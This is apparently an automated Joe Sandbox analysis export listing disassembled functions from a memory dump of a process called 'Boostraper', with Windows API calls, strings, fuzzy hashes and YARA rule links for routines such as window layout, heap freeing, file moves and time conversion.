Function 0079AAA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 0079AC3B

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 77726c4878bc676b181d2dd9fbaac7a2833d830f9fcf8b287aba81c682249737
Instruction ID: 1facc9b39a1a34f08018ee4886a16a9fb02682a51ad585418859969d53c0b13c
Opcode Fuzzy Hash: 77726c4878bc676b181d2dd9fbaac7a2833d830f9fcf8b287aba81c682249737
Instruction Fuzzy Hash: B23106B1800209BFCF249E79EC85EFB7BBEDB86314F044198F41897251D6389D44CBA1

Function 0078A63C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0078A662
GetNumberFormatW.KERNEL32(00000400,00000000,?,007AE600,?,?), ref: 0078A6B1

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: b7f669dc4a8973e4b4221c44578ea04b8495a1a4251f6c2e7daddfc38f248852
Instruction ID: f47a7be411a8ad879323cbe9cfe68f5b51864d03c977ff9465bd3c53f745827e
Opcode Fuzzy Hash: b7f669dc4a8973e4b4221c44578ea04b8495a1a4251f6c2e7daddfc38f248852
Instruction Fuzzy Hash: 32017176240208BFDB209F64DC45F9B77BCEF59710F008826FA0497150D3789A158BA9

Function 00776EC9 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0078117C,?,00000200), ref: 00776EC9
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00776EEA

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 698562110ea361efd1e12691818fcb2d0193ea4b41b9688ae88d19711e7c9128
Instruction ID: 2d9c2fdfaa13f952f7a9df26648e08717e2e30a6d78f8ab8c446cc5b1c7057f3
Opcode Fuzzy Hash: 698562110ea361efd1e12691818fcb2d0193ea4b41b9688ae88d19711e7c9128
Instruction Fuzzy Hash: 85D09235288202BAEE510A748C06F6B7BA5B796B82F20D514B25AED4E0CAB490149629

Function 0077ACF5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 0077AD1A

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: ed3b8012de90f674d8253a2da9bbefd887bdfc3a731959ef80d4a5c9fade3d3a
Instruction ID: e25c7f0bdc23fec0855f8ff8d0c1ee88637c489195baec9361cdd15ddaa9dd8f
Opcode Fuzzy Hash: ed3b8012de90f674d8253a2da9bbefd887bdfc3a731959ef80d4a5c9fade3d3a
Instruction Fuzzy Hash: F9F0F9B4B002088FDB38CF18EC41AEA73A5B799711F208295DA1983758D378A940CEA6

Function 0078F063 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F070,0078EAC5), ref: 0078F068

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1a8d81ca5010c6abe88407ddbf83ab930d10f19386ae79cb3e65726604c753c3
Instruction ID: 5b26bd3c5e6d622f6cb678b00c63593291bb34cf91edd93d2f70439e29b98d45
Opcode Fuzzy Hash: 1a8d81ca5010c6abe88407ddbf83ab930d10f19386ae79cb3e65726604c753c3
Instruction Fuzzy Hash:

Function 0079B710 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0079B710

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: cb597ad258f3fe1a600548783c50a69db68c38460a78d59743c09fa0f7c7b13e
Instruction ID: 92be74e3506f95b304d5b8b4955de4796ce6d74742f96dc75dac168040d2228a
Opcode Fuzzy Hash: cb597ad258f3fe1a600548783c50a69db68c38460a78d59743c09fa0f7c7b13e
Instruction Fuzzy Hash: B2A001B46026059B97408FB6AA092097AAAAA86691749C26AB509C6160EA2985609F09

Function 0077DA98 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 236COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0077DABE

Part of subcall function 0077400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0077401D

Part of subcall function 00781596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,007B0EE8,00000200,0077D202,00000000,?,00000050,007B0EE8), ref: 007815B3

_strlen.LIBCMT ref: 0077DADF
SetDlgItemTextW.USER32(?,007AE154,?), ref: 0077DB3F
GetWindowRect.USER32(?,?), ref: 0077DB79
GetClientRect.USER32(?,?), ref: 0077DB85
GetWindowLongW.USER32(?,000000F0), ref: 0077DC25
GetWindowRect.USER32(?,?), ref: 0077DC52
SetWindowTextW.USER32(?,?), ref: 0077DC95
GetSystemMetrics.USER32(00000008), ref: 0077DC9D
GetWindow.USER32(?,00000005), ref: 0077DCA8
GetWindowRect.USER32(00000000,?), ref: 0077DCD5
GetWindow.USER32(00000000,00000002), ref: 0077DD47

Strings

$%s:, xrefs: 0077DAB2
CAPTION, xrefs: 0077DC77
Tz, xrefs: 0077DAFA
d, xrefs: 0077DBA5

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$Tz$d
API String ID: 2407758923-2679999376
Opcode ID: b32f41bd9fb54333491c3b412ca47566195107b53221bbcfbf14417095122593
Instruction ID: da87939dd4210615fbf2bc1e8fa993cecea9505aede2ad8e6899d83c4cc97a64
Opcode Fuzzy Hash: b32f41bd9fb54333491c3b412ca47566195107b53221bbcfbf14417095122593
Instruction Fuzzy Hash: 9181A3712083059FD720DF68CC88A6BBBF9EF88744F04851DF68993251D679EC06CB52

Function 0079C233 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0079C277

Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BE2F
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BE41
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BE53
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BE65
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BE77
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BE89
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BE9B
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BEAD
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BEBF
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BED1
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BEE3
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BEF5
Part of subcall function 0079BE12: _free.LIBCMT ref: 0079BF07

_free.LIBCMT ref: 0079C26C

Part of subcall function 007984DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958), ref: 007984F4
Part of subcall function 007984DE: GetLastError.KERNEL32(007A3958,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958,007A3958), ref: 00798506

_free.LIBCMT ref: 0079C28E
_free.LIBCMT ref: 0079C2A3
_free.LIBCMT ref: 0079C2AE
_free.LIBCMT ref: 0079C2D0
_free.LIBCMT ref: 0079C2E3
_free.LIBCMT ref: 0079C2F1
_free.LIBCMT ref: 0079C2FC
_free.LIBCMT ref: 0079C334
_free.LIBCMT ref: 0079C33B
_free.LIBCMT ref: 0079C358
_free.LIBCMT ref: 0079C370

Strings

Pz, xrefs: 0079C249

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: Pz
API String ID: 161543041-1603573826
Opcode ID: 3e14f5f609dba9407473673857c7c5e08f3c94799c11c4dea0a9f2e4cb95cf27
Instruction ID: 34a688981f5df88681b1152b77e9c659e141ae1a2a145fc66fdf45ec3fe5c2a7
Opcode Fuzzy Hash: 3e14f5f609dba9407473673857c7c5e08f3c94799c11c4dea0a9f2e4cb95cf27
Instruction Fuzzy Hash: 60316932600205DFEF62AF78E949B5A73E9BF02310F158429E448DB5A1DE39FC409B22

Function 0078CD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0078CD51
GetClassNameW.USER32(00000000,?,00000800), ref: 0078CD7D

Part of subcall function 007817AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0077BB05,00000000,.exe,?,?,00000800,?,?,007885DF,?), ref: 007817C2

GetWindowLongW.USER32(00000000,000000F0), ref: 0078CD99
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0078CDB0
GetObjectW.GDI32(00000000,00000018,?), ref: 0078CDC4
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0078CDED
DeleteObject.GDI32(00000000), ref: 0078CDF4
GetWindow.USER32(00000000,00000002), ref: 0078CDFD

Strings

STATIC, xrefs: 0078CD83

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: a62e342d5cdd37b418d751cbb29720fc9d7e31a0a0ac836e2ecd95fa2c28af82
Instruction ID: 7be0a863744299112b465c07dc3c9d9cae43798e7fd091f3dcb4beef518d991a
Opcode Fuzzy Hash: a62e342d5cdd37b418d751cbb29720fc9d7e31a0a0ac836e2ecd95fa2c28af82
Instruction Fuzzy Hash: 4711E732685311BBE3227B609C4DFAF776CAB65741F00C422FB42A1092DA7C890797B8

Function 00798EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00798EC5

Part of subcall function 007984DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958), ref: 007984F4
Part of subcall function 007984DE: GetLastError.KERNEL32(007A3958,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958,007A3958), ref: 00798506

_free.LIBCMT ref: 00798ED1
_free.LIBCMT ref: 00798EDC
_free.LIBCMT ref: 00798EE7
_free.LIBCMT ref: 00798EF2
_free.LIBCMT ref: 00798EFD
_free.LIBCMT ref: 00798F08
_free.LIBCMT ref: 00798F13
_free.LIBCMT ref: 00798F1E
_free.LIBCMT ref: 00798F2C

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4cb8e5964f61d99fee5f6631df7116b15be1859f903c8317888ef610640660ce
Instruction ID: 5431e7fa882a6738199bb9d9a6b66e6340c94e9d128e65bcc1791eea76e25f80
Opcode Fuzzy Hash: 4cb8e5964f61d99fee5f6631df7116b15be1859f903c8317888ef610640660ce
Instruction Fuzzy Hash: 0111D47610014DEFCF91EF54E846DDA3BA5FF0A350B0240A0BA088F632DA35EA519B82

Function 00772162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

;%u, xrefs: 00772497
x%u, xrefs: 0077267A
xc%u, xrefs: 007726D7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: b7afe92941733c59a72e3b3e4e1ce8840cbff512d66cc60788465bba005521ae
Instruction ID: 902b4a29f9cd5b9fddf8167aa16d71e468913b82adcebb3f46d38d08f7dcc8e3
Opcode Fuzzy Hash: b7afe92941733c59a72e3b3e4e1ce8840cbff512d66cc60788465bba005521ae
Instruction Fuzzy Hash: 8AF147706043409BDF15EF3489D9BEA77996F94380F08C46DF99DCB283DA2C9949C7A2

Function 0078ACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0077130B: GetDlgItem.USER32(00000000,00003021), ref: 0077134F
Part of subcall function 0077130B: SetWindowTextW.USER32(00000000,007A35B4), ref: 00771365

EndDialog.USER32(?,00000001), ref: 0078AD20
SendMessageW.USER32(?,00000080,00000001,?), ref: 0078AD47
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0078AD60
SetWindowTextW.USER32(?,?), ref: 0078AD71
GetDlgItem.USER32(?,00000065), ref: 0078AD7A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0078AD8E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0078ADA4

Strings

LICENSEDLG, xrefs: 0078ACE4

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: e5817748cb98c4386db2afda339ffe447155c79b65373c2ef4f889c3bacd0801
Instruction ID: 8340306843388e795625eaee1de9d479c40c43db9ac37e80cdfa770b45524646
Opcode Fuzzy Hash: e5817748cb98c4386db2afda339ffe447155c79b65373c2ef4f889c3bacd0801
Instruction Fuzzy Hash: B021D632381105BBE2216F35EC49F3B3B7CEB5A746F01800AF604D24A5DB6E6902D73A

Function 00779443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00779448
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 0077946B
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 0077948A

Part of subcall function 007817AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0077BB05,00000000,.exe,?,?,00000800,?,?,007885DF,?), ref: 007817C2

_swprintf.LIBCMT ref: 00779526

Part of subcall function 0077400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0077401D

MoveFileW.KERNEL32(?,?), ref: 00779595
MoveFileW.KERNEL32(?,?), ref: 007795D5

Strings

rtmp%d, xrefs: 0077950F

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: d49e35252e759d7e9d534e365b913e4eeb6eef0f63dbf3b4693126b0ea0847fb
Instruction ID: 3847aa05dbb3bdd01dba95ec193b94e5e10c408dc08e1106d716679ad54c2f8b
Opcode Fuzzy Hash: d49e35252e759d7e9d534e365b913e4eeb6eef0f63dbf3b4693126b0ea0847fb
Instruction Fuzzy Hash: 7A412D71901258A6DF20EB648C89EEE737CAF553C0F0485A5B64DE3052EB7C9B89CB64

Function 00798FA5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,007B0EE8,00793E14,007B0EE8,?,?,00793713,00000050,?,007B0EE8,00000200), ref: 00798FA9
_free.LIBCMT ref: 00798FDC
_free.LIBCMT ref: 00799004
SetLastError.KERNEL32(00000000,?,007B0EE8,00000200), ref: 00799011
SetLastError.KERNEL32(00000000,?,007B0EE8,00000200), ref: 0079901D
_abort.LIBCMT ref: 00799023

Strings

Xz, xrefs: 00798FF7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID: Xz
API String ID: 3160817290-1877267331
Opcode ID: e630551482364e9266114384171e00a3b8eec5196a186fa514a27cbfb8b88448
Instruction ID: 2809cd1fe39977347f3fd34c6b523b1a4c88e2e48225691f2e5ae911dd85ada0
Opcode Fuzzy Hash: e630551482364e9266114384171e00a3b8eec5196a186fa514a27cbfb8b88448
Instruction Fuzzy Hash: A7F02835504A01EADFA17B2C7C0EB2B292B9FC3760F254019F515D72A2EF2DC902515A

Function 00780A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00780A9D

Part of subcall function 0077ACF5: GetVersionExW.KERNEL32(?), ref: 0077AD1A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00780AC0
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00780AD2
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00780AE3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00780AF3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00780B03
FileTimeToSystemTime.KERNEL32(?,?), ref: 00780B3D
__aullrem.LIBCMT ref: 00780BCB

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: a7ee9debb2022f6bfee288deb938bb95154603941d40a07fee3329802b4371ef
Instruction ID: e45da8a0755a36a06c46133b4956b75091153c9ae6e994a4011d3555703cecbc
Opcode Fuzzy Hash: a7ee9debb2022f6bfee288deb938bb95154603941d40a07fee3329802b4371ef
Instruction Fuzzy Hash: D5413AB2448306AFC750DF65C88496BFBF8FF88714F104A2EF59692650E778E548CB52

